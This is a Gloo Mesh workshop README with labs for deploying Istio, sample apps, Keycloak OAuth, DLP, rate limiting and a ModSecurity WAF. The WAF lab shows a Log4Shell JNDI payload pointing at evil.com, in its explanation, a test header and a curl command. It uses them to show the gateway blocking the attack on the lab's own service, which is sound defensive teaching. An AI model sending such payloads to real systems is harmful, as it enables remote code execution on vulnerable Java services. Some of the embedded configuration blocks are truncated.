simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.55.3 +gcr.io/gloo-mesh/gloo-mesh-agent:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.5.0 +gcr.io/gloo-mesh/gloo-mesh-ui:2.5.0 +gcr.io/gloo-mesh/gloo-otel-collector:2.5.0 +gcr.io/gloo-mesh/rate-limiter:0.11.7 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.5.0 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.5.0 \ + -f -< + + + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 --overwrite + +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 11 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 13 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 14 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 15 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 17 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply 